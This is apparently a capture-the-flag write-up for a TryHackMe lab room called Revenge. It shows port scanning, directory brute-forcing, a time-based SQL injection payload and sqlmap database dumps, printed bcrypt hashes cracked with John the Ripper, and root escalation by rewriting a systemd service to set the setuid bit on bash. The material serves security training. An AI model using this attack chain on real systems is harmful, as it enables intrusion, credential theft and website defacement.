Todays Capture the Flag hacking writeup is for the TryHackMe room, Revenge. It’s a medium rated room with the following brief:
You’ve been hired by Billy Joel to get revenge on Ducky Inc…the company that fired him. Can you break into the server and complete your mission?
We start by downloading a story task file; which gives a bit more detail behind the CTF story. We’ve got to deface the homepage of the website, but we’re not allowed to take the site or server offline.
NMAP the server
First off, we use nmap to discover any obvious open ports on the box:
sudo nmap -Pn -sC -sV -O -T4 -vv 10.10.243.190 | tee namp_sCsVO.txt
A useful block comes back as follows:
Scanning 10.10.243.190 [1000 ports] Discovered open port 80/tcp on 10.10.243.190 Discovered open port 22/tcp on 10.10.243.190 Completed Connect Scan at 07:37, 4.06s elapsed (1000 total ports) Nmap scan report for 10.10.243.190 Host is up, received echo-reply ttl 63 (0.067s latency). Scanned at 2022-01-06 07:37:01 EST for 4s Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack 80/tcp open http syn-ack
So we know its running a webserver and SSH.
A bit more info can be revealed, showing the version numbers of those services:
PORT STATE SERVICE REASON VERSION 21/tcp closed ftp conn-refused 22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 23/tcp closed telnet conn-refused 25/tcp closed smtp conn-refused 53/tcp closed domain conn-refused 80/tcp open http syn-ack nginx 1.14.0 (Ubuntu) 110/tcp closed pop3 conn-refused 111/tcp closed rpcbind conn-refused 135/tcp closed msrpc conn-refused 139/tcp closed netbios-ssn conn-refused 143/tcp closed imap conn-refused 443/tcp closed https conn-refused 445/tcp closed microsoft-ds conn-refused 993/tcp closed imaps conn-refused 995/tcp closed pop3s conn-refused 1723/tcp closed pptp conn-refused 3306/tcp closed mysql conn-refused 3389/tcp closed ms-wbt-server conn-refused 5900/tcp closed vnc conn-refused 8080/tcp closed http-proxy conn-refused Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
So this looks like a web exploitation job – followed by gaining SSH access.
GOBUSTER the server
As with almost all web exploitation CTF I’ve done, we also throw the IP at Gobuster. We start with a small and then work up to a medium directory list.
$ gobuster dir --url $IP --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt
And we get the following output from the gobuster script:
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.243.190 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/06 07:11:53 Starting gobuster in directory enumeration mode =============================================================== /index (Status: 200) [Size: 8541] /contact (Status: 200) [Size: 6906] /products (Status: 200) [Size: 7254] /login (Status: 200) [Size: 4980] /static (Status: 301) [Size: 194] [--> http://10.10.243.190/static/] /admin (Status: 200) [Size: 4983]
We hit login and the admin pages, however analysing the requests there seems to show they’re just dummy pages. No data seems to get submitted and there’s no known page listening for the data, afaik.
Product IDOR Exploitation
One of the other pages shows a breakdown of all their products:
You can browse each one, with the URL changing to include a sequential product number. I started to examine this, wondering if that was an exploitable vector.
Turns out after completing this room, this avenue is called an insecure direct object resource (IDOR) vector.
SQLMap the object reference
We fire up SQLMap to hit the page:
$ sqlmap -u http://$IP/products/1 --current-db
SQLMap reveals it’s a MySQL DBMS, as well as some payloads we can drop on the URL, which is all very useful. This appears to be a rabbit hole worth investigating.
SQLMap spits out the current data: duckyinc.
We check one of the payloads, just to test SQLMap isn’t getting false positives. We try one of my favourite SQL injection methods, the time attack. We append:
1 AND (SELECT 7615 FROM (SELECT(SLEEP(5)))Cwzn)
…to the url, after “/products/“. The browser then appears to hang for 5 seconds – so we’re definitely getting SQL execution.
We can now re-run SQLMap using “-D duckyinc”.
sqlmap -u http://$IP/products/1 -D duckyinc --tables
Within seconds we get the schema dumped out:
Tables: system_user, user and products
We can then dump out all the tables, using the –dump argument.
sqlmap -u http://$IP/products/1 -D duckyinc --dump | tee mysql_dump.txt
This gives us everything in the DB. Magical.
This just happens to contain a flag too! (Which I missed for flipping ages)
We munge the dumped server users table into a format we can run through a cracker like JohnTheRipper.
server-admin:$2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a kmotley:$2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa dhughes:$2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK
A quick bit of research online shows that $2a$ hashes are created using bcrypt. Interestingly the ‘server-admin’ user has a encryption ‘cost’ of 8, while ‘kmotley’ and ‘dhughes’ have a cost of 12.
FYI, the cost value is 2^x iterations of the hashing algorithm. 2^8 equates to 256, while 2^12 is 4096. This means it should take 16x the effort to crack each of the last two hashes, compared to the first.
$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt server_user_pass.hash
That quickly (<1 minute) cracks the server-admin password, probably down to it only having a cost value of 8, compared to the other user’s 12.
FYI, the 2nd and 3rd passwords didn’t crack within 10 minutes. By that point we were well underway SSH into the box using server-admin – so the cracking was abandoned.
SSH into the box
Noting earlier that the SSH port is open, but the Admin login webpage does nothing, we plugged the password into a SSH login for user server-admin.
Here we find our second flag. We’re getting close.
Now we have a foot in the door, we use SCP to upload linPEAS onto the box. Once it’s there, we run that:
Can we change any of the duckyinc website:
Yes we can. Our 9*9 is being calculated as 81 on the site.
Can we now wipe the homepage:
$ echo "DEFACED WEBSITE" > index.html
No is the answer. In fact it seems to have cached everything.
So we need to restart the service perhaps? We can’t delete the __pycache__ content.
Oh damn. Well it was worth a shot.
Escalating privileges to root
I then trawled through the linPEAS.txt file created earlier, and stumbled across some gold! server-admin wasn’t root, but they did have some root-like control on the server. This was displayed using the sudo list command:
server-admin@duckyinc:/var/www/duckyinc/templates$ sudo -l Matching Defaults entries for server-admin on duckyinc: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User server-admin may run the following commands on duckyinc: (root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart duckyinc.service, /bin/systemctl daemon-reload, sudoedit /etc/systemd/system/duckyinc.service
I could simply execute:
$ sudo /bin/systemctl restart duckyinc.service
Also you can sudoedit the duckyinc service!
Which looks like this to begin with:
[Unit] Description=Gunicorn instance to serve DuckyInc Webapp After=network.target [Service] User=flask-app Group=www-data WorkingDirectory=/var/www/duckyinc ExecStart=/usr/local/bin/gunicorn --workers 3 --bind=unix:/var/www/duckyinc/duckyinc.soc$ ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s TERM $MAINPID [Install] WantedBy=multi-user.target
I changed the file to read:
[Service] Type=oneshot ExecStart=/bin/sh -c "chmod +s /bin/bash" [Install] WantedBy=multi-user.target
I then rebuild the deamon DB (Required when services changed), then restarted the duckyinc service…
… and voila!
Now we can escalate our privileges with:
With that we can navigate to the /root/ directory and pick up flag3.txt!